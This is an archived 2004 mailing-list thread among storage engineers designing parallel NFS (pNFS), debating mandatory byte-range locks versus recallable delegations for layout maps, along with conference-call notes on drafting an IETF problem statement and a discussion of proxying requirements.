byte-range locking model with fewer changes than extending the existing delegation model. so, how about estending the mandatory locking model with a recall mechanism? > > > we already have the byte-range locking code written. > > I only have advisory byte-range locking code written. Who has v4 mandatory > byte-range locking implemented? > > > so how far does this get > > us? does it make sense to start with the locking code instead of the > > delegation as far as extenstions? > > I think if we define some form of byte-range delegations (at least for data > and maybe for layout as well), there is going to be lots of code sharing with > an existing mandatory byte-range locking implementation. The data structures > and many of the interfaces are going to be the same. and this is really why i brought this up. a new lock type that has the features we desire (e.g. a recall mechanism) makes sense to me. > The difference is going > to be what you do about conflicts. Instead of saying to the second claimant, > ""You snoozed so you lose"", in some cases you have to be prepared to recall the > delegation so that, for example, an otherwise unexceptionable write can proceed. >From dnoveck@netapp.com Mon Jan 05 12:11:32 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 69316 invoked from network); 5 Jan 2004 20:11:30 -0000 Received: from unknown (66.218.66.172) by m5.grp.scd.yahoo.com with QMQP; 5 Jan 2004 20:11:30 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta4.grp.scd.yahoo.com with SMTP; 5 Jan 2004 20:11:30 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i05KBUKw005747; Mon, 5 Jan 2004 12:11:30 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i05KBUSR010661; Mon, 5 Jan 2004 12:11:30 -0800 (PST) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Mon, 5 Jan 2004 12:11:23 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] Re: [pnfs-ops] why not use mandatory byte-range locking Thread-Index: AcPTuZy/JW5xIH2uTcip4yVASdheYgACMxhQ To: , X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-reqs] Re: [pnfs-ops] why not use mandatory byte-range locking X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck Andy Adamson wrote: [Dave Noveck wrote]: > > When you combine a guarantee that the layout will not change with a guarantee > > that the data will not change, in such a way that they can't be separated, > > you artificially increase the amount of conflicts, in many cases to an > > unacceptable level. > perhaps i'm missing something, but isn't it the case the layout of the data > and the abilty to access the data are totally bound together? the layout > changes due to writes and appends (other??). It is (almost) always the case that if the layout changes, it is because of some data being written. The exceptions are so few that they can easily be dealt with by considering that a fictitious write which just happened to overwrite the same data has occurred (e.g. the data server scans its disks and finds a bad spot making it advisable to move data stored there somewhere else, thus changing the layout, even though there was no application-level write). However, the problem I see with your ""totally bound together"" formulation is in the other direction. There are many many cases in which the data changes and the layout does not change and they are important from a performance point of view. In the SAN case, whenever a file is modified by overwriting, the data changes but the layout des not. In the pnfs cases in which the distribution is by files or objects, the layout changes even less. The layout is normally established once (""this file is striped among the following 64 data servers at 256K per stripe"") and that hardly ever changes. The protocol has to allow for the possibility that there is a change (e.g. the administrator wants to add more data servers) but as a practical matter the clients can go on their merry way using the layout information they got when the file was first accessed. > if the layout changes, stale > layout maps are not only no longer any good, they can lead to data corruption. > it seems to me that the guarentee that the layout won't change is bound to the > guarentee that the data won't change. i can't think of any conflicts such as > you mention - could you give some examples? Thousands of Linux nodes in an application cluster are merrily reading and writing, not changing the layout. The application is careful to not cache inappropriately (and it knows how the file is used so it is reasonable that it might do that), so callbacks will not be needed for cache invalidating. The problem is, you want these nodes to get the layout information and use it and not be bothered when the layout *isn't* changing (and when they are the people doing the writes are bothered since they have to wait for the delegation recalls from large numbers of clients). However, since it is possible that the layout will change, the clients, since they have layout info, will be notified when it changes. Since it is changing infrequently (almost never) this is fine. But it isn't fine, if, whenever the data changes, you act as if the layout is changing. > i agree that the ability for the server to recall is a required feature. i'm > simply suggesting that mandatory locking may have more features in common with > what we need for pnfs than delgations, and that we could extend the existing > mandatory byte-range locking model with fewer changes than extending the > existing delegation model. I think you are reading too much into my words. When I call such a thing a delegation, I don't mean that it is very much like the delegations that exist in v4.0 today. I mean simply that it is an optionally-granted recallable lock. It makes sense in v4.x to do such a thing with a new OP (as I don't think you can add parameters to existing ops) but GET_RANGE_DELEG is going to look a whole lot more like the existing LOCK op than it does anything related to current delegations in v4.0. > so, how about estending the mandatory locking model with a recall mechanism? I'd call the result a ""range delegation"". The issue I have is the ability to lock (i.e. get a delegation for) the layout for a given region without getting recalled when the data changes. I don't see a need for the reverse (i.e. a lock on the data without getting recalled when the layout changes). When we get to the detailed specification, we'll see if it turns out better for these (the data lock/delegation and the layout lock/delegation) to be conceptually independent or assembled into a hierarchy in which the don't-change-the-data-or-layout lock/delegation is stronger than the don't- change-the-layout lock/delegation. -----Original Message----- From: William A.(Andy) Adamson [mailto:andros@citi.umich.edu] Sent: Monday, January 05, 2004 1:28 PM To: pnfs-ops@yahoogroups.com Cc: pnfs-reqs@yahoogroups.com; andros@citi.umich.edu Subject: [pnfs-reqs] Re: [pnfs-ops] why not use mandatory byte-range locking > Andy Adamson wrote: > > the discussion of byte-range delegations and cache consistancy provoked this > > thought: why not use existing mandatory byte-range locking? > > > the client opens a file, requests a (mandatory) lock on the region of the file > > it's interested in. the resultant lock stateid is passed as an argument to the > > READ/WRITE_IND request. we can require a mandatory lock stateid prior to > > handing out layout maps for direct i/o. the layout map is 'good 'only for as > > long as the byte-range lock. > > One problem is that there is no way for the client to specify that he wants > a mandatory (as opposed to advisory) byte-range lock, he just asks for one > and the server gives him the type of byte-range that server is giving out > for that fs. So, if you did that, applications that relied on the semantics > (or lack of semantics) of advisory byte-range locks would break. >From 3530 5.11.5. Mode Attribute ...... Note that in UNIX, if a file has the MODE4_SGID bit set and no MODE4_XGRP bit set, then READ and WRITE must use mandatory file locking. so for unix, there is a way to specify mandatory vrs advisory locking. since this is also in 3530: 8. File Locking and Share Reservations ..... These mechanisms can implement policy ranging from advisory only locking to full mandatory locking. adding a flag to a LOCK/T/U to indicate mandatory locking vrs advisory is within reason. > Another issue is that while you say ""'good' only for as long as the byte-range > lock"", the results of doing this are that the layout map and the data will > be fixed for at least as long as the byte-range lock exists, i.e. sometimes > too long. If I'm going to be reading directly from the data server, then > I want the layout to stay constant for a long time, or at least I don't want > to be forced to repeatedly get locks for small areas of the layout. The > obvious (and desirable) thing for me to do is to get a shared lock for the > whole file so the layout cannot change, but if we combine changes of layout > and changes of data under a single sort of lock, mandatory byte-range locks > in this case, we have stopped anybody writing in the file for a very long > time, i.e. essentially forever since my lease will normally be continually > renewed. > > When you combine a guarantee that the layout will not change with a guarantee > that the data will not change, in such a way that they can't be separated, > you artificially increase the amount of conflicts, in many cases to an > unacceptable level. perhaps i'm missing something, but isn't it the case the layout of the data and the abilty to access the data are totally bound together? the layout changes due to writes and appends (other??). if the layout changes, stale layout maps are not only no longer any good, they can lead to data corruption. it seems to me that the guarentee that the layout won't change is bound to the guarentee that the data won't change. i can't think of any conflicts such as you mention - could you give some examples? > When you have a delegation model, the problem is > excessive recalls, while when you have a locking model the problem is that > some applications will slow to a crawl/halt. > > > the mandatory lock protects the layout, so no need for layout delegations. > > mandatory locking also allows the client to cache and operate locally on the > > locked data region with cache consistancy guarentees. > > If you are going to be doing some local operation, then short-term mandatory > byte-range locking can help you. If need to do a lock/fetch/update/write/unlock > cycle on a record, this is the ticket (and in v4 lock/fetch and write/unlock > can be COMPOUND's :-). The record you hold while updating can be considered > cached for that brief period. If, however, you are caching data generally, > i.e. for a period outside the range of a short operation sequence, you are > going to need something that is delegation-like, in that if I have the > cached data and want to keep it until there is some reason to get rid of > it, i.e. it is LRU'd out or there is a conflict, then I have to have some > way of finding out that there is a conflict. Delegations do that via a > recall and one can imagine it being done other ways. But the mandatory > lock model is that I have a lock because I need it and so there is no > provision to tell me that someone else has a conflict. The logic is that > he will wait until I give the lock up, and waiting for the cached data to > be LRU'd is going to be too long in most cases. > i agree that the ability for the server to recall is a required feature. i'm simply suggesting that mandatory locking may have more features in common with what we need for pnfs than delgations, and that we could extend the existing mandatory byte-range locking model with fewer changes than extending the existing delegation model. so, how about estending the mandatory locking model with a recall mechanism? > > > we already have the byte-range locking code written. > > I only have advisory byte-range locking code written. Who has v4 mandatory > byte-range locking implemented? > > > so how far does this get > > us? does it make sense to start with the locking code instead of the > > delegation as far as extenstions? > > I think if we define some form of byte-range delegations (at least for data > and maybe for layout as well), there is going to be lots of code sharing with > an existing mandatory byte-range locking implementation. The data structures > and many of the interfaces are going to be the same. and this is really why i brought this up. a new lock type that has the features we desire (e.g. a recall mechanism) makes sense to me. > The difference is going > to be what you do about conflicts. Instead of saying to the second claimant, > ""You snoozed so you lose"", in some cases you have to be prepared to recall the > delegation so that, for example, an otherwise unexceptionable write can proceed. Yahoo! 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Groups is subject to: http://docs.yahoo.com/info/terms/ >From black_david@emc.com Mon Jan 05 16:39:00 2004 Return-Path: X-Sender: Black_David@emc.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 13162 invoked from network); 6 Jan 2004 00:38:58 -0000 Received: from unknown (66.218.66.216) by m15.grp.scd.yahoo.com with QMQP; 6 Jan 2004 00:38:58 -0000 Received: from unknown (HELO MAHO3MSX2.corp.emc.com) (128.221.11.32) by mta1.grp.scd.yahoo.com with SMTP; 6 Jan 2004 00:38:58 -0000 Received: by maho3msx2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Mon, 5 Jan 2004 19:38:57 -0500 Message-ID: To: pnfs-reqs@yahoogroups.com, pnfs-ops@yahoogroups.com Date: Mon, 5 Jan 2004 19:38:57 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-eGroups-Remote-IP: 128.221.11.32 From: black_david@emc.com Subject: RE: [pnfs-reqs] Re: [pnfs-ops] why not use mandatory byte-range l ocking X-Yahoo-Group-Post: member; u=82420288 X-Yahoo-Profile: dlb237 > > Andy Adamson wrote: > > > the discussion of byte-range delegations and cache consistancy provoked this > > > thought: why not use existing mandatory byte-range locking? The ""existing"" locking cannot be reused - it has to be a new type of locking that might share some operations with the existing locking, i.e., > and this is really why i brought this up. a new lock type that has the > features we desire (e.g. a recall mechanism) makes sense to me. Keep in mind that what's required is significantly more than locking. For an example, take a look at FMP_Flush in the uploaded FMP spec to see the things that may need to be done when releasing a write lock. Thanks, --David ---------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 176 South St., Hopkinton, MA 01748 +1 (508) 293-7953 FAX: +1 (508) 293-7786 black_david@emc.com Mobile: +1 (978) 394-7754 ---------------------------------------------------- >From garth@panasas.com Tue Jan 06 20:31:21 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 60427 invoked from network); 7 Jan 2004 04:31:19 -0000 Received: from unknown (66.218.66.218) by m3.grp.scd.yahoo.com with QMQP; 7 Jan 2004 04:31:19 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta3.grp.scd.yahoo.com with SMTP; 7 Jan 2004 04:31:19 -0000 Received: from [172.17.19.50] ([172.17.19.50]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSYGWFA; Tue, 6 Jan 2004 23:31:18 -0500 Mime-Version: 1.0 (Apple Message framework v609) Content-Transfer-Encoding: 7bit Message-Id: <54AEC7B6-40CA-11D8-B7B5-000A95A94F04@panasas.com> Content-Type: text/plain; charset=US-ASCII; format=flowed To: pnfs-reqs@yahoogroups.com Date: Tue, 6 Jan 2004 23:31:15 -0500 X-Mailer: Apple Mail (2.609) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Announcing a weekly pNFS requirements concall X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson While our mailing lists are seeing a good flow of good comments, the timeline we have set for ourselves, to give the IETF something in early Feb, is short. So I've set up a weekly conference call for an hour, for all that can make it. Notes from these calls will go out to the Yahoo group reflector for those that can't make it. Beginning this Friday, Jan 9, 12-1pm EST, hosted by Panasas. Contact garth gibson if you would like to participate and do not know the dial in numbers. Thanks garth >From julian_satran@il.ibm.com Fri Jan 09 23:04:02 2004 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 17499 invoked from network); 10 Jan 2004 07:04:01 -0000 Received: from unknown (66.218.66.167) by m14.grp.scd.yahoo.com with QMQP; 10 Jan 2004 07:04:01 -0000 Received: from unknown (HELO mtagate3.de.ibm.com) (195.212.29.152) by mta6.grp.scd.yahoo.com with SMTP; 10 Jan 2004 07:04:00 -0000 Received: from d12relay01.megacenter.de.ibm.com (d12relay01.megacenter.de.ibm.com [9.149.165.180]) by mtagate3.de.ibm.com (8.12.10/8.12.10) with ESMTP id i0A73vHI118250; Sat, 10 Jan 2004 07:03:57 GMT Received: from d10ml001.telaviv.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12relay01.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0A73tKG278370; Sat, 10 Jan 2004 08:03:56 +0100 In-Reply-To: <20031229201109.A223D20806@citi.umich.edu> To: pnfs-ops@yahoogroups.com Cc: andros@citi.umich.edu, pnfs-ops@yahoogroups.com, pnfs-reqs@yahoogroups.com MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5 September 26, 2003 Message-ID: Date: Sat, 10 Jan 2004 09:03:54 +0200 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 6.0.2CF2|July 23, 2003) at 10/01/2004 09:03:56, Serialize complete at 10/01/2004 09:03:56 Content-Type: multipart/alternative; boundary=""=_alternative 0023E6B2C2256E17_="" X-eGroups-Remote-IP: 195.212.29.152 From: Julian Satran Subject: Re: [pnfs-ops] why not use mandatory byte-range locking X-Yahoo-Group-Post: member; u=64714603 It looks to me at least as a valid option. I think that the argument against it has to do with revocation and data access. With NFS - data accesses go through the NFS server and a server that has revoked a lock will not let the client access data. With the new scheme revocation has to be explicit - as the client is accessing data by its own. Delegation expresses this ""new reality"" better. But perhaps for layout what is needed is combination of lock-stateID and delegation. Julo ""William A.(Andy) Adamson"" 29/12/2003 22:11 Please respond to pnfs-ops@yahoogroups.com To pnfs-ops@yahoogroups.com cc pnfs-reqs@yahoogroups.com, andros@citi.umich.edu Subject [pnfs-ops] why not use mandatory byte-range locking the discussion of byte-range delegations and cache consistancy provoked this thought: why not use existing mandatory byte-range locking? the client opens a file, requests a (mandatory) lock on the region of the file it's interested in. the resultant lock stateid is passed as an argument to the READ/WRITE_IND request. we can require a mandatory lock stateid prior to handing out layout maps for direct i/o. the layout map is 'good 'only for as long as the byte-range lock. the mandatory lock protects the layout, so no need for layout delegations. mandatory locking also allows the client to cache and operate locally on the locked data region with cache consistancy guarentees. we already have the byte-range locking code written. so how far does this get us? does it make sense to start with the locking code instead of the delegation as far as extenstions? -->Andy To unsubscribe from this group, send an email to: pnfs-ops-unsubscribe@yahoogroups.com Yahoo! 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As agreed in the last call, we moved the meeting time to Thursday 11-12 EST, 8-9 PST at the same number. Contact me if you do not have the number. Sorry for the late reminder. I'll get the notes from the last meeting out this afternoon. garth On Jan 14, 2004, at 6:45 AM, Julian Satran wrote: > > Do we have a call this week? Julo > From: Garth Gibson > Date: January 6, 2004 8:31:15 PM PST > To: pnfs-reqs@yahoogroups.com > Subject: [pnfs-reqs] Announcing a weekly pNFS requirements concall > Reply-To: pnfs-reqs@yahoogroups.com > > While our mailing lists are seeing a good flow of good comments, the > timeline we have set for ourselves, to give the IETF something in early > Feb, is short. So I've set up a weekly conference call for an hour, > for all that can make it. Notes from these calls will go out to the > Yahoo group reflector for those that can't make it. > > Beginning this Friday, Jan 9, 12-1pm EST, hosted by Panasas. Contact > garth gibson if you would like to participate and do not know the dial > in numbers. > > Thanks > garth >From garth@panasas.com Wed Jan 14 23:19:17 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 35625 invoked from network); 15 Jan 2004 07:19:16 -0000 Received: from unknown (66.218.66.167) by m5.grp.scd.yahoo.com with QMQP; 15 Jan 2004 07:19:16 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta6.grp.scd.yahoo.com with SMTP; 15 Jan 2004 07:19:16 -0000 Received: from [172.17.133.59] ([172.17.133.59]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSYHWJ2; Thu, 15 Jan 2004 02:19:11 -0500 Mime-Version: 1.0 (Apple Message framework v609) Content-Transfer-Encoding: 7bit Message-Id: <1B419D86-472B-11D8-AC67-000A95A94F04@panasas.com> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed To: pnfs-reqs@yahoogroups.com Date: Wed, 14 Jan 2004 23:19:07 -0800 X-Mailer: Apple Mail (2.609) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: pNFS requirements concall 2004-01-09 12-1 EST notes X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson ADVERTISEMENT click here pNFS requirements concall 2004-01-09 12-1 EST notes Participants ---------------------------------------------------- David Black, EMC Tyce McLarty, LLNL Dave Noveck, Tom Talpey, Peter Corbett, NetApp Julian Satran, IBM Andy Adamson, CITI Garth Gibson, Benny Halevy, Panasas Garth chaired, Benny took notes. Logistics ---------------------------------------------------- A) This meeting time, Fri 12-1 EST is during Julian's weekend in Israel. We agreed to move to Thursday 11-12 EST beginning Thurs Jan 14. B) The next face-to-face meeting is proposed to be Wed Mar 31 8:30-12 in the morning, immediately before the Usenix FAST conference (www.usenix.org/events/fast04) in the same hotel (Grand Hyatt, 345 Stockton Street, San Francisco, CA 94108, 415.398.1234, 1.800.633.7313, http://grandsanfrancisco.hyatt.com/property/index.jhtml). We are seeking USENIX help for setting this up (Peter Honeyman is asking USENIX for help). FAST starts at 2pm Wed. Its sister conference, NSDI (Network System Design and Implementation) is being held in the same hotel Mon morning until Wed noon. It is proposed to hold this meeting as a BOF, open and advertised in one or both conferences. Requirements group action items ---------------------------------------------------- Garth asks all contributors to strive to include use cases, application areas and other enduser oriented justification in all requirements deliverables. 1) Problem statement Informational Internet Draft as a vehicle to communicate to IETF - Timeline: we would like our topic to be considered for an agenda at Seoul Feb 29 - March 5 59th IETF meeting - Deadline: IETF deadline is approximately Feb 7, working backwards and allowing time for communication and errors, we plan to set a within-the-group deadline for last comments on the document end of day Jan 30 - Purpose: to explain the problem we seek to fix, why it should be fixed and why it should be done in the IETF - Example: ""RDMA over IP Problem Statement"", draft-ietf-rddp-problem-statement-02, by Allyn Romanow, Jeff Mogul, Tom Talpey, Stephen Bailey with help from Jeff Chase and Jim Pinkerton (ftp://ftp.rfc-editor.org/in-notes/internet-drafts/draft-ietf-rddp- problem-statement-02.txt) - Audience: skill set like us, background more varied, expect to be persuaded, although the academic citation list of the example is much more than we need, we should add about three-five pages of good content to the boilerplate internet draft document structure See discussion below. 2) Elevator pitch for general external communication - Purpose: ensure that the members of our community attending the Seoul IETF are equipped with the essentials (at least David Black, Tom Talpey and Julian Satran are attending Seoul) - Deadline: Feb 19, first day of Connectathon 2004 (Feb 19-26, 180 Park Ave., San Jose, CA 95113 San Jose, CA, www.connectathon.org), which I guess creates another opportunity for a (subgroup?) face-to-face Garth proposed, subset from his NEPS position paper: ""striping all the way to the clients; providing scalable bandwidth, scalable capacity, load balancing and capacity balancing for federated servers and consolidated storage."" Additionally, there are a number of products for a good range of companies offering proprietary solutions in this area, some of which employ/extend/supplant the IETF's NFS and iSCSI, so an IETF effort building on or working within NFS and iSCSI seems very natural and compelling. Some comments: Black: striping is not inherent, prefers ""direct access"" Garth: Direct access is a loaded term for NFS and IETF: for us it is moving data from multiple servers to one client without proxying it through one server network endpoint, while direct access for DAFS and RDMA has to do with eliminating copies in the memory system of any client or server. Satran: you can give up load balancing and capacity balancing since these are means and not ends. Black: don't want to focus on one sentence, multiple sentences may prove better. Julian: what about security? Black: would not bring it here in the elevator, but in the problem statement section on ""why IETF"" Multiple folks: Scalable capacity and scalable bandwidth are the core ideas. With respect to ""federated storage and consolidated storage"", federated and consolidated are loaded words Black: propose something more general as scalable storage systems Multiple: given the many uses of scalable, probably just ""storage systems"" 3) Slide deck for face-to-face external communications - Purpose: if members of our community attending the Seoul IETF have a chance to present to the NFS (or other) working groups, we should equip them with a presentation of the problem statement document; this will also be useful at the FAST BOF - Example: ROI-Problem-Scenario-0302.ppt, presented by David Black at the second IETF BOF on RDMA as a synopsis of the corresponding problem statement, particularly because the first BOF had not achieved its goals - Deadline: Feb 19, same as elevator pitch 4) Draft requirements document - Purpose: a working document to capture and justify the group's decisions what to do and what not to do - Timeline: not clear yet Most of the discussions going on in the pNFS-reqs mailing list are addressing issues that belong in this document. This is great, but should not be confused with the problem statement. The problem statement is for external communication, justifying the effort to standardize something, summarizing the commonality achieved at the NEPS workshop; while the requirements document is for resolution of issues, and may not be complete until the standard draft is pretty much fleshed out. Discussion on Problem Statement ---------------------------------------------------- Garth: Lets start with comments on the beginnings of a problem statement that Garth (Dec 10) and Gary Grider (Dec 12) contributed to this group. Garth: Here is what I put out to start the conversation, based on nearly copying the RDDP problem statement abstract and table of contents. > A possible pNFS problem statement abstract: > This draft addresses an NFS-based solution to the problem of high > system costs due to store-and-forward copying of storage data from > storage devices through a file server mount point to high-speed > end-hosts that also have connectivity to source storage devices. The > problem is due to the high cost of funneling large storage bandwidths > through NFS on single IP addresses, and it can be substantially > improved using ""out-of-band access."" The high cost of high-bandwidth > NFS servers has limited the use of NFS in data centers especially > where high storage bandwidths are required and numerous storage > serving devices are already networked together. > > A pNFS table of contents might be: > 1. Introduction > 2. The high cost of high bandwidth storage through NFS > 2.1 Out-of-band access decreases bandwidth requirements in central > file servers > 3. Application level routing of storage data packets is the root cause > of the problem > 4. Storage bandwidth bottlenecks are problematic for many key file > system applications > 5. Out-of-band access techniques > 5.1 A conceptual framework: pNFS delegated maps for distributing files > over SBC, OSD and NFS storage subsystems > 6. Security considerations > 7. Acknowledgements > 8. Informative references Garth: I started with the RDDP problem statement. RDDP affected the design of servers therefore affected their costs. So they pitched a cost problem with the design of communication protocol going forward in time. Garth: ""Store and forward copying through the ip address that you mounted"" problem is a cost problem. Talpey: I wouldn't lead with cost. RDDP is about system overhead. Garth: by analogy the system overhead we are avoiding is the forwarding all the data packets through a single IP address, a single server endpoint (NFS mount) Tom: elevator pitch for RDDP: data copy costs cycle and bus bandwidth, avoiding data copy scales servers. In our case we have a bottleneck moving the data through one point (Tom recommends avoid the term ""single IP address"") Garth: RDDP references moore's law. For us client and server machines both follow moore's law, but the rate of growth of the number of clients making demands on the servers is causing demand to exceed server bandwidth. Tom: be careful with mentioning Moore's law Corbett: missing one point of ""the clients are focusing on a narrow part of the dataset"" Garth: The cluster phenomena drives the demand way ahead of the server supply. [people liked the term ""cluster phenomena""] Tom: the fundamental thing is scaling access to a single object. Garth: the market for that may be too small. Tom: it was said that ""RDDP is good only for databases"" so, I agree, be careful for narrowing down the scope of applicability. Talpey: there are existing solution like trunking the NFS protocol to achieve scalable bandwidth to multiple files but you still have the single server issue. the real problem is achieving scalable bandwidth to a single file. Garth: this seems to narrow, as Corbett's NEPS presentation argues, the same problem exists for ""close"" collections of files like a single directory even if no file is itself spread over multiple servers -- SNIA talks about virtualizing a file (spreading the parts of one file) and virtualizing a file system (spreading the parts of one volume) while preserving the manageability implied by one file server Tom: ""out of band"" is a bad label because it already means certain things. Garth: I didn't use ""direct access"" because of prior and different definition by DAFS -- We need a new word for what we're proposing. Multiple: separation of data and control is good -- maybe some variant of this gives us the words we need: separated data path, parallel data path >From Brian.Pawlowski@netapp.com Thu Jan 15 03:55:52 2004 Return-Path: X-Sender: beepy@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 3528 invoked from network); 15 Jan 2004 11:55:50 -0000 Received: from unknown (66.218.66.172) by m14.grp.scd.yahoo.com with QMQP; 15 Jan 2004 11:55:50 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta4.grp.scd.yahoo.com with SMTP; 15 Jan 2004 11:55:50 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i0FBtnKw023061 for ; Thu, 15 Jan 2004 03:55:49 -0800 (PST) Received: from tooting-fe.eng.netapp.com (tooting-fe.eng.netapp.com [10.56.10.118]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i0FBtnSR002121 for ; Thu, 15 Jan 2004 03:55:49 -0800 (PST) Received: (from beepy@localhost) by tooting-fe.eng.netapp.com (8.11.6+Sun/8.11.6) id i0FBtnl04249 for pnfs-reqs@yahoogroups.com; Thu, 15 Jan 2004 03:55:49 -0800 (PST) Message-Id: <200401151155.i0FBtnl04249@tooting-fe.eng.netapp.com> In-Reply-To: <1B419D86-472B-11D8-AC67-000A95A94F04@panasas.com> from Garth Gibson at ""Jan 14, 4 11:19:07 pm"" To: pnfs-reqs@yahoogroups.com Date: Thu, 15 Jan 2004 03:55:48 -0800 (PST) X-Mailer: ELM [version 2.4ME++ PL40 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: Brian Pawlowski From: Brian Pawlowski Subject: Re: [pnfs-reqs] pNFS requirements concall 2004-01-09 12-1 EST notes X-Yahoo-Group-Post: member; u=169504717 ADVERTISEMENT > A) This meeting time, Fri 12-1 EST is during Julian's weekend in > Israel. We agreed to move to Thursday 11-12 EST beginning Thurs Jan > 14. You meant the other Thursday Jan 14. >From julian_satran@il.ibm.com Mon Jan 19 00:48:33 2004 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 72665 invoked from network); 19 Jan 2004 08:48:31 -0000 Received: from unknown (66.218.66.172) by m17.grp.scd.yahoo.com with QMQP; 19 Jan 2004 08:48:31 -0000 Received: from unknown (HELO mtagate5.de.ibm.com) (195.212.29.154) by mta4.grp.scd.yahoo.com with SMTP; 19 Jan 2004 08:48:30 -0000 Received: from d12relay01.megacenter.de.ibm.com (d12relay01.megacenter.de.ibm.com [9.149.165.180]) by mtagate5.de.ibm.com (8.12.10/8.12.10) with ESMTP id i0J8mSe2117726; Mon, 19 Jan 2004 08:48:28 GMT Received: from d10ml001.telaviv.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12relay01.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0J8mRJY181632; Mon, 19 Jan 2004 09:48:27 +0100 In-Reply-To: To: pnfs-reqs@yahoogroups.com Cc: pNFS Operations , pNFS Requirements MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5 September 26, 2003 Message-ID: Date: Mon, 19 Jan 2004 00:48:22 -0800 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 6.0.2CF2|July 23, 2003) at 19/01/2004 10:48:27, Serialize complete at 19/01/2004 10:48:27 Content-Type: multipart/alternative; boundary=""=_alternative 0061A2A0C2256E1F_="" X-eGroups-Remote-IP: 195.212.29.154 From: Julian Satran Subject: Re: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03: subtopic: proxying X-Yahoo-Group-Post: member; u=64714603 X-Yahoo-Profile: julian_satran Garth Gibson wrote on 19/12/2003 00:37:50: > Thanks Dave. I agree. Lets refine the proxying issues: Legacy, > strict, functional and recovery proxying. > > [1.1.0 Legacy proxying]: an NFS-v4.x server must be able to execute the > full NFS-v4.0 or NFS-v4.1 protocol. > > I think Dave has given the case for this strongly. I do not see any > case against this. > > ------------------------------------------- > > [1.1.1 Strict proxying]: does an NFS-v4.x server have to be able to > execute exactly the wire packet that an NFS-v4.x client might have sent > to a SBC/OSD/NFS data server? > > This captures the notion that a metadata server must also be a > store-and-forward proxy for every data server it manages. It requires > NFS-v4.x servers implement SCSI SBC over FC, if their data servers > implement it; and the same for objects and files. > > This only makes sense to me for NFS data servers. And it is not what I > intended in my prior summary, although it is a relevant question. I > would say that pNFS requirements not require Strict Proxying. > Agree > ------------------------------------------- > > [1.1.2 Functional proxying]: a file transformation achievable by an > NFS-v4.x client using a set of data server operations must be a > equivalently achievable using a (probably different) set of NFS-v4.x > server operations > > This is the topic I intended to address in the last email. I believe > Dave is arguing that even with metadata servers that do not have access > to their data servers, the vendor of such a metadata server can > construct a proprietary protocol for the metadata server to (strict) > proxy data server accesses through clients that do have data server > access. I am not comfortable making up a counter to this, so I exhort > those that want a metadata server without data server access to speak > up if they disagree. > > > On one hand, some suggest that a set of out-of-band clients should not > > have to also have a data path through the NFSv4 metadata server. One > > reason is that customers may not tolerate the large variability in > > performance between out-of-band (when the going is good) and in-band > > (when the server chooses not to grant or to take away a delegation) > > accesses. Another reason, and I paraphrase someone else here, is that > > it is possible to construct out-of-band metadata servers that do not > > have access to the data servers except through the clients -- I > > encourage the source of this scenario to replace my paraphrasing with > > a correct use case, because I find it odd to design for file servers > > that do not have access to the data servers. > > > > On the other hand, others have suggested that any access or work that > > a client can do out-of-band should be possible with one or more > > commands applied to the metadata server's data path. This has been > > proposed for coping with recalled delegations, including concurrent > > writing by multiple clients; retry after client access 